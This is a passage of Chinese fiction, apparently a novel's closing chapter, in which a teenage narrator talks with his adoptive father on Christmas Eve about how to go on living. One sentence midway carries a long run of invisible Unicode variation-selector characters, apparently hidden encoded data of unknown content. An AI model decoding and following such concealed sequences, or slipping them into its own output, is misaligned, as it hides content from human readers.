回家已經將近一點,燈還亮著,老爹一定還沒睡。
我從7-11買了瓶啤酒,幸好店員知道我常被老爹派來買啤酒,雖然未成年,他也沒刁難。一開門,老爹不滿的聲音就傳了過來:「搞什麽,這麽晚回來?」
「抱歉啦!」我很快把啤酒拿出來,陪笑道:「喝不喝?」
老爹穿著一件汗衫,粗聲吼了一串和杯子有關的話。我只好將一切準備好,倒了兩杯酒。不久老爹又吩咐我買下酒菜,念在今夜是聖誕夜,就由著他吧。
就算這麽晚,路上還是很有聖誕節氣氛。即使早就變成商人的騙錢手段,我也覺得這天別具意義。這是從僵化的日常中,將人解放出來的日子。我一面喝酒,一面與老爹聊起天來。
「你們今天實在是搞得太誇張。」
「抱歉。」
「道歉有用的話還需要警察嗎?」
你󠄊󠄀󠄃󠄎就󠄊󠄀󠄃󠄎是󠄵󠄀󠄀󠄂警󠄫󠄤󠄄󠄃察󠄿󠄾󠄵󠄎啊󠄘󠄃󠄮󠄙,我󠄃󠄊󠄕󠄶露󠄸󠄌󠄅󠄆出󠄙󠄰󠄫󠄏苦󠄃󠄻󠄇󠄈笑󠄘󠄃󠄵󠄹。󠄖󠄛󠄚󠄶󠄳󠄕󠄷󠄨󠄲󠄒󠄨󠄳󠄟󠄓󠄝󠄥󠄵󠄌󠄞󠄙󠄕󠄛󠄹󠄻󠄒󠄹󠄣󠄀󠄪󠄼󠄥󠄗󠄒󠄬󠄔󠄛󠄗󠄶󠄡󠄫󠄧󠄏󠄺󠄜󠄱󠄂󠄆󠄢󠄶󠄊󠄘󠄬󠄃󠄊󠄊󠄪󠄬󠄞󠄫󠄹󠄤󠄚󠄂󠄸󠄞󠄎󠄹󠄸󠄼󠄕󠄀󠄌󠄸󠄷󠄋󠄣󠄠󠄜󠄧󠄈󠄙󠄝󠄇󠄯󠄽󠄄󠄼󠄽󠄵󠄇󠄧󠄾󠄝󠄡󠄊󠄆󠄎󠄒󠄪󠄏󠄃󠄾󠄛󠄪󠄴󠄖󠄏󠄡󠄾󠄾󠄺󠄡󠄰󠄆󠄀󠄈󠄢󠄗󠄶󠄱󠄇󠄗󠄭󠄸󠄯󠄏󠄋󠄝󠄇󠄮󠄱󠄇󠄧󠄲󠄛󠄓󠄌󠄆󠄺󠄸
「說真的,你們今天真的太盛大了,拜託下次有這種活動先跟我說一聲。你們開始鬧的時候,我正在外面買東西咧!」
「好啦,其實我也不知道會鬧這麽大。」我笑著說。
老爹不是MASTER,卻跟MASTER一樣,記得MASTER造成的事件。
我忍不住想,就像我在MASTER中顯得特別,老爹是否也是如此。在很多故事裡,這種特別是來自獨特血緣,但我和老爹應該不是因為這種原因。
我只是個養子。
「以後有什麽活動都告訴我就對了。」老爹武斷地結論。
聊了一個多小時,我將杯盤拿去洗,回到餐桌後,老爹彷彿在沉思。
「幹嘛?發呆?」
「思考。不覺得我思考時很帥嗎?」
「也許這就是看不出來的原因,還不夠帥。」我做了個鬼臉。「我去洗澡啦。」
「等等。」老爹忽然叫住我。「……你以前說,你覺得這個城市死了。現在你還這麽覺得嗎?」
啊。
他居然還記得。
我坐下來,一時間沒有說話:「我不確定。我跟以前不同了,但……我還在摸索。」
「摸索?」
「活下去的方式。」
聽起來好像是很誇張的說法。
但九歲以前,我從不覺得自己活著。一切是理所當然,任何人只能在他人意識下活著,這就是我看到的世界。灰色的城市,了無生趣。但成為「軍師」後,情況有了變化。八年過去,一切都變了。
可是,足夠嗎?REBELLIOUS對我來說必要嗎?是不是到了讓REBELLIOUS變化的時候,只是現在的成員會怎麽想?
我不會為了他們停下腳步。我知道自己很自私。他們是我一輩子的朋友,但我不在乎他們的想法。但我真正希望什麽?對這件事,我還在摸索。
「活下去。」老爹說。
「啊……」
「人啊,總是會遇到一些挫敗,沒什麽好怕的。去做你想做的事,失敗也沒關係。然後,找出活下去的方法。」老爹抬頭看著我:「你啊……是人類,人類就是這樣的生物。」
「……嗯。」
這樣就夠了嗎?我一直有這樣的疑問。
──當一個人,這樣就夠了?
我苦笑:「謝啦,你看我怕過什麽嗎?失敗什麽的,不過是小事。」
老爹沒多說什麽,只是笑了笑:「快去洗澡睡覺吧。」
男人看著兒子走回房間,內心無限感慨。多年來,他一直想著:「這樣做是對的嗎?」今晚的事讓他忍不住想起十七年前,那個影響他一生的案件。
不是壞事,但也稱不上好事。所謂的命運,不過如此。
「也不知道你是不是還活著……」走到熱水瓶邊沏了杯茶。他想起了那個人說過的話。
『所有的塗鴉只是暫時性的,總有一天會消失。』
「總有一天……是嗎?但不只塗鴉,什麽東西都是如此。只要拚命保管,塗鴉也可以保存幾萬年。原始人的壁畫,現在不也還看得到?」
──真希望能告訴你。
當年的塗鴉,也十七歲了。
我贏了,對吧?
往事像老電影一樣躍動起來。他朝著久遠的時光踏前一步。
(完)